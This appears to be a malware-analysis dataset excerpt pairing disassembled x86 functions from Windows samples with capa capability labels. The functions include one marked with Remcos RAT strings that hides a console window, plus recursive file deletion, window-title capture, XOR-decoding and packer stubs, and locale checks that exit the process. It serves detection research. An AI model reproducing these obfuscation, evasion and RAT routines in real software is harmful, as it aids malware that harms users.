joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c1df
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.0043f749
lea eax, [ebp - 0x410]
push 0x46c880
push eax
call fcn.0043f76b
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043f749
lea eax, [ebp - 0x208]
push 0x466608
push eax
call fcn.0043f76b
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41c336
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043f749
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x41c30a
lea ecx, [ebp - 0x634]
call fcn.0041c1b1
test eax, eax
jne 0x41c317
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f76b
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41c2c7
lea ecx, [ebp - 0x208]
call fcn.0041c1df
test eax, eax
je 0x41c32f
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
jmp 0x41c2f3
test byte [ebp - 0x660], 1
je 0x41c2e2
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
je 0x41c32f
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f749
pop ecx
pop ecx
jmp 0x41c317
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x41c32f
xor bl, bl
test bl, bl
jne 0x41c262
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push edi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
jmp 0x41c338
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41c33f
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0x41c368
sub eax, 1
jne 0x41c35e
push 4
pop eax
mov ecx, eax
jmp 0x41c370
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41c370
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41c38f
xor al, al
jmp 0x41c3cd
cmp dword [esp + 0x1c], 1
jne 0x41c3af
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41c3af
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x41c38b
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x41c3c4
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x41c3d3
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41c3fd
xor al, al
jmp 0x41c43b
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040244e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00401fab
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
pop esi
test eax, eax
je 0x41c432
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41c463
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41c489
xor eax, eax
jmp 0x41c49c
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop edi
pop esi
ret

Function at 0x41c49f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41c59c
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040b852
push esi
lea ecx, [esp + 0x34]
call fcn.00401f04
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.00402305
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022ca
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.00402305
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00409bdb
sub esp, 0xc
mov ecx, esp
push 0x46cadc
call fcn.0040417e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040905c
lea ecx, [esp + 0x54]
call fcn.0041be37
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021fa
test eax, eax
je 0x41c58a
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e65
push eax
lea ecx, [esp + 0x38]
call fcn.00409a5e
cmp eax, 0xffffffff
jne 0x41c5ad
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021fa
cmp esi, eax
jb 0x41c55f
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41c5c7
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
push esi
call fcn.0043f749
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
mov bl, 1
jmp 0x41c59c
Function at 0x41c930
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41c9dc
sub ecx, 1
je 0x41c9ce
sub ecx, 1
je 0x41c9c0
sub ecx, 1
je 0x41c98d
sub ecx, 1
jne 0x41ca1e
push 1
sub esp, 0x18
mov ecx, esp
push 0x46611c
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x466118
jmp 0x41ca0a
push 1
sub esp, 0x18
mov ecx, esp
push 0x46c5f0
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x46611c
jmp 0x41ca0a
push 1
sub esp, 0x18
mov ecx, esp
push 0x46c9f8
jmp 0x41c999
push 1
sub esp, 0x18
mov ecx, esp
push 0x466104
jmp 0x41c999
push 1
sub esp, 0x18
mov ebx, 0x46611c
mov ecx, esp
push ebx
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402093
push str.TileWallpaper
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41cce9
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
call dword [0x474b18]
test bl, bl
mov dword [0x474b34], eax
pop ebx
jne 0x41cd11
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043c0f8
push eax
push 0x46ce14
push str.CONOUT_
call fcn.00441b62
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.DLL_SetConsoleOutputCP]
call fcn.0041cca6
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00436dd0
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push str.4.9.2_Pro
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push 0x46cf18
push eax
call fcn.00441ea0
lea eax, [ebp - 0x64]
push eax
call fcn.00407200
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x405301
pop dword [ebp - 0x50]
mov eax, 0x405301
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5e953889
add dword [ebp - 0x60], 0xefbd0cc2
mov dword [ebp - 0x5c], 0xdad9d7d
add dword [ebp - 0x5c], 0x2485aec8
mov dword [ebp - 0x58], 0x855005c9
add dword [ebp - 0x58], 0xc6fc3e65
mov dword [ebp - 0x54], 0x95baf014
add dword [ebp - 0x54], 0x6a450fec
lea eax, [ebp - 0x60]
push eax
mov eax, 0xdfe56f9f
sub eax, 0xdfa49f4b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x32e70f62
sub dword [ebp - 0x60], 0xbe74a60c
mov dword [ebp - 0x5c], 0x83d478cf
add dword [ebp - 0x5c], 0xbd97e8a6
mov dword [ebp - 0x58], 0x86aecf2a
sub dword [ebp - 0x58], 0x233f62be
mov dword [ebp - 0x54], 0xd3ef879e
add dword [ebp - 0x54], 0x2c107862
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xec2fb347
sub eax, 0xebeee2fb
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x38f9a
push 0
call eax
mov ecx, 0x16f0761b
add ecx, 0xe90fcfa4
xor esi, esi
add esi, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x50]
mov edx, 0x808052a9
sub edx, 0xd690e3bc
xor dword [ebp - 0x10], 0x40876033
mov ebx, dword [edi]
xor dword [ebp - 4], 0xa8d7764
xor ebx, edx
xor dword [ebp - 0x48], edx
mov dword [esi], ebx
sub dword [ebp - 0x3c], edi
add esi, 0x6dc8038
add esi, 0xf9237fcc
add edi, 0xf212a2b3
add edi, 0xded5d51
loop 0x40541a
add eax, 0x109cf
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x98767399
add ecx, 0x67c98c67
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x4c
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x3e
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x94
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb6
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x84
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x42
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xca
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xec
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x21
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe1
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xda
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x69
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xb0
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x86
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x37
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x49ad81
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d0034]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49adcc
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0049b243
test al, al
jne 0x49adc6
sub edx, 2
cmp edx, edi
jne 0x49adac
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x49adee
lea eax, [edi + 2]
cmp edx, eax
je 0x49adee
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0049a97a
add esp, 0x10
jmp 0x49aee8
push esi
lea ecx, [ebp - 0x255]
call fcn.0049b243
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49ae31
push dword [ebp - 0x25c]
jmp 0x49adde
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x49ae6e
cmp word [ebp - 0x226], 0
je 0x49ae8f
cmp word [ebp - 0x226], ax
jne 0x49ae6e
cmp word [ebp - 0x224], 0
je 0x49ae8f
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0049a97a
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x49aedb
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x49ae48
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x49aec3
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x49aee8
push 0x49a362
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040555b
add esp, 0x10
jmp 0x49aeb8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403044
leave
ret

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x25d94601
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x77051e23
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Identify system language via api
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov dword [esp + 0x10], 0xaa937b77
mov eax, 0xaa937b77
movzx esi, word [esp + 2]
mov edi, dword [esp + 0xc]
mov ebp, dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
cmp eax, 0xeee9bf98
jg 0x40104f
cmp eax, 0xd85c26d5
jle 0x40107c
cmp eax, 0xd85c26d6
je 0x4010c6
cmp eax, 0xeb227f65
je 0x40115f
jmp 0x401029
cmp eax, 0x241b1474
jle 0x4010a4
cmp eax, 0x241b1475
je 0x4010f0
cmp eax, 0x724743a3
jne 0x401029
mov eax, dword [esp + 4]
movzx esi, word [esp + eax*2 + 0x1c]
mov eax, 0xd85c26d6
mov edi, dword [esp + 4]
jmp 0x401029
cmp eax, 0xaa937b77
jne 0x40112a
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov word [esp + 0xa], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [esp + 0x1e], ax
mov eax, 0x241b1475
jmp 0x401029
cmp eax, 0xf6c5cd5b
jne 0x401137
mov eax, dword [esp + 0x14]
add eax, eax
add eax, 0xffffffe1
mov dword [esp + 0x14], eax
mov eax, 0x724743a3
jmp 0x401029
mov dword [esp + 0x18], edi
movsx ecx, si
cmp ecx, 0x43e
jle 0x40110f
cmp ecx, 0x818
jg 0x401144
lea ecx, [esi - 0x43f]
cmp cx, 4
ja 0x40115f
mov edx, 0x13
jmp 0x401123
call ebp
mov word [esp + 0x20], ax
call ebx
mov word [esp + 0x22], ax
mov eax, 0xd85c26d6
xor edi, edi
movzx esi, word [esp + 0xa]
jmp 0x401029
lea ecx, [esi - 0x419]
cmp cx, 0x13
ja 0x40115f
movzx ecx, cx
mov edx, 0xc8401
bt edx, ecx
jae 0x40115f
jmp 0x401199
cmp eax, 0xa076448d
jne 0x401029
jmp 0x401184
cmp eax, 0xeee9bf99
jne 0x401029
jmp 0x401199
movzx ecx, si
cmp ecx, 0x819
je 0x401199
cmp ecx, 0x843
je 0x401199
cmp ecx, 0x82c
je 0x401199
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 4], eax
mov ecx, dword [esp + 4]
mov eax, 0xa076448d
cmp ecx, 4
je 0x401029
mov eax, 0xf6c5cd5b
jmp 0x401029
mov dword [esp + 0x10], eax
mov word [esp + 2], si
mov dword [esp + 0xc], edi
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x10], eax
mov word [esp + 2], si
mov dword [esp + 0xc], edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4011f1
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
push 0x4712e3
push ecx
call fcn.0045bf91
add esp, 8
xor esi, esi
test eax, eax
je 0x40127e
mov edi, eax
push 2
push 0
push eax
call fcn.0045a3c9
add esp, 0xc
push edi
call fcn.0045a718
add esp, 4
test eax, eax
js 0x401275
mov ebp, eax
push edi
call fcn.0045db46
add esp, 4
lea eax, [ebp + 1]
push eax
call dword [0x47e054]
add esp, 4
test eax, eax
je 0x401275
mov ebx, eax
push edi
push ebp
push 1
push eax
call fcn.0045d1c6
add esp, 0x10
test eax, eax
je 0x401263
mov ebp, eax
push edi
call fcn.0045cd13
add esp, 4
test eax, eax
je 0x401285
push edi
call fcn.0045cb8e
add esp, 4
push ebx
call dword [0x47e050]
jmp 0x40127b
push edi
call fcn.0045cb8e
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push edi
call fcn.0045cb8e
add esp, 4
mov byte [ebx + ebp], 0
mov esi, ebx
jmp 0x40127e
Function at 0x402647
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push edi
push esi
test edx, edx
je 0x40266f
mov edi, 0x1505
xor esi, esi
movzx ebx, byte [ecx + esi]
test ebx, ebx
je 0x402676
mov eax, edi
shl eax, 5
add eax, edi
add eax, ebx
inc esi
mov edi, eax
cmp edx, esi
jne 0x402655
jmp 0x402678
mov eax, 0x1505
jmp 0x402678
mov eax, edi
pop esi
pop edi
pop ebx
ret
Function at 0x40cbc4
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x54
mov ebp, dword [esp + 0x6c]
mov edx, dword [esp + 0x68]
mov edi, esp
mov ecx, 5
mov esi, 0x4716a8
rep movsd dword es:[edi], dword [esi]
cmp ebp, 0x40
jb 0x40cc44
shr ebp, 6
xor ebx, ebx
mov esi, edx
xor edi, edi
movzx eax, byte [esi + edi]
mov dword [esp + edi + 0x14], eax
movzx ecx, byte [esi + edi + 1]
shl ecx, 8
or ecx, eax
mov dword [esp + edi + 0x14], ecx
movzx eax, byte [esi + edi + 2]
shl eax, 0x10
or eax, ecx
mov dword [esp + edi + 0x14], eax
movzx ecx, byte [esi + edi + 3]
shl ecx, 0x18
or ecx, eax
mov dword [esp + edi + 0x14], ecx
add edi, 4
cmp edi, 0x40
jne 0x40cbef
mov ecx, esp
lea edx, [esp + 0x14]
call fcn.0040ccde
inc ebx
lea edx, [esi + edi]
cmp ebx, ebp
jne 0x40cbeb
add esi, edi
mov edx, esi
mov ebp, dword [esp + 0x6c]
xor ebx, ebx
lea edi, [esp + 0x14]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov esi, ebp
and esi, 0x3f
je 0x40cc78
xor eax, eax
movzx edi, byte [edx + eax]
mov ecx, ebx
and cl, 0x18
shl edi, cl
mov ecx, eax
and ecx, 0xfffffffc
xor dword [esp + ecx + 0x14], edi
inc eax
add ebx, 8
cmp esi, eax
jne 0x40cc5c
lea ebx, [ebp*8]
mov ecx, ebx
and cl, 0x18
or cl, 7
xor eax, eax
inc eax
shl eax, cl
mov ecx, ebp
and ecx, 0x3c
xor dword [esp + ecx + 0x14], eax
cmp esi, 0x38
jb 0x40ccb0
mov ecx, esp
lea edi, [esp + 0x14]
mov edx, edi
call fcn.0040ccde
xor eax, eax
mov ecx, 0xe
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x70]
lea edx, [esp + 0x14]
mov dword [edx + 0x38], ebx
shr ebp, 0x1d
mov dword [edx + 0x3c], ebp
mov ecx, esp
call fcn.0040ccde
xor eax, eax
mov ecx, dword [esp + eax*4]
mov dword [esi + eax*4], ecx
inc eax
cmp eax, 5
jne 0x40ccca
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x414dfc
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov ebx, dword [esp + 0x1c]
test ebx, ebx
je 0x414efb
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x414ef4
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov ebp, esi
sub ebp, eax
xor edx, edx
cmp ebp, 8
mov dword [esp], esi
jb 0x414ea5
xor esi, esi
mov eax, esi
movzx edx, byte [ebx + esi]
add edx, edi
add ecx, edx
movzx esi, byte [ebx + esi + 1]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 2]
add edx, esi
add ecx, edx
movzx esi, byte [ebx + eax + 3]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 4]
add edx, esi
add ecx, edx
movzx esi, byte [ebx + eax + 5]
add esi, edx
add ecx, esi
movzx edx, byte [ebx + eax + 6]
add edx, esi
add ecx, edx
movzx edi, byte [ebx + eax + 7]
add edi, edx
add ecx, edi
lea esi, [eax + 8]
add eax, 0xf
cmp eax, ebp
jb 0x414e45
mov edx, ebp
and edx, 0x1ff8
add ebx, esi
mov esi, dword [esp]
mov eax, ebp
sub eax, edx
jbe 0x414ebf
xor edx, edx
movzx esi, byte [ebx + edx]
add edi, esi
add ecx, edi
inc edx
cmp eax, edx
jne 0x414ead
add ebx, eax
mov esi, dword [esp]
mov eax, edi
mov edx, 0x80078071
mul edx
shr edx, 0xf
imul eax, edx, 0xfff1
sub edi, eax
mov eax, ecx
mov edx, 0x80078071
mul edx
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, ebp
mov ebp, 0x15b0
jne 0x414e39
shl ecx, 0x10
or ecx, edi
jmp 0x414efe
xor ecx, ecx
inc ecx
mov eax, ecx
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x420935
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x468
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x420a3b
mov esi, dword [ebp + 0xc]
mov eax, 0xfffffff6
cmp dword [ebx + 0x10], esi
jbe 0x420a53
mov ecx, dword [ebx + 0x48]
mov eax, dword [ecx]
test eax, eax
je 0x420a40
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + esi*4]
lea edi, [eax + ecx]
add edi, 0x2e
movzx edx, word [edi - 0x12]
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x42099c
push eax
mov dword [esp + 8], edx
call fcn.0045d3c9
mov edx, dword [esp + 8]
add esp, 4
mov dword [ebx + 0x5c], 0
mov ecx, edi
call fcn.00420a5b
mov dword [ebx + 0x5c], eax
test eax, eax
je 0x420a47
lea eax, [esp + 8]
push eax
push esi
push ebx
call fcn.0041b2aa
add esp, 0xc
test eax, eax
je 0x420a4e
mov dword [ebx + 0x58], esi
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov dword [ebx + 0x6c], ecx
mov dword [ebx + 0x68], eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov dword [ebx + 0x60], ecx
mov dword [ebx + 0x64], eax
mov eax, dword [esp + 0x28]
mov dword [ebx + 0x70], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [ebx + 0x78], ecx
mov dword [ebx + 0x7c], eax
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov dword [ebx + 0xa4], ecx
mov dword [ebx + 0xa0], eax
movzx eax, word [esp + 0x1e]
mov word [ebx + 0xa8], ax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x44]
mov dword [ebx + 0x4e008], ecx
mov ecx, dword [esp + 0x20]
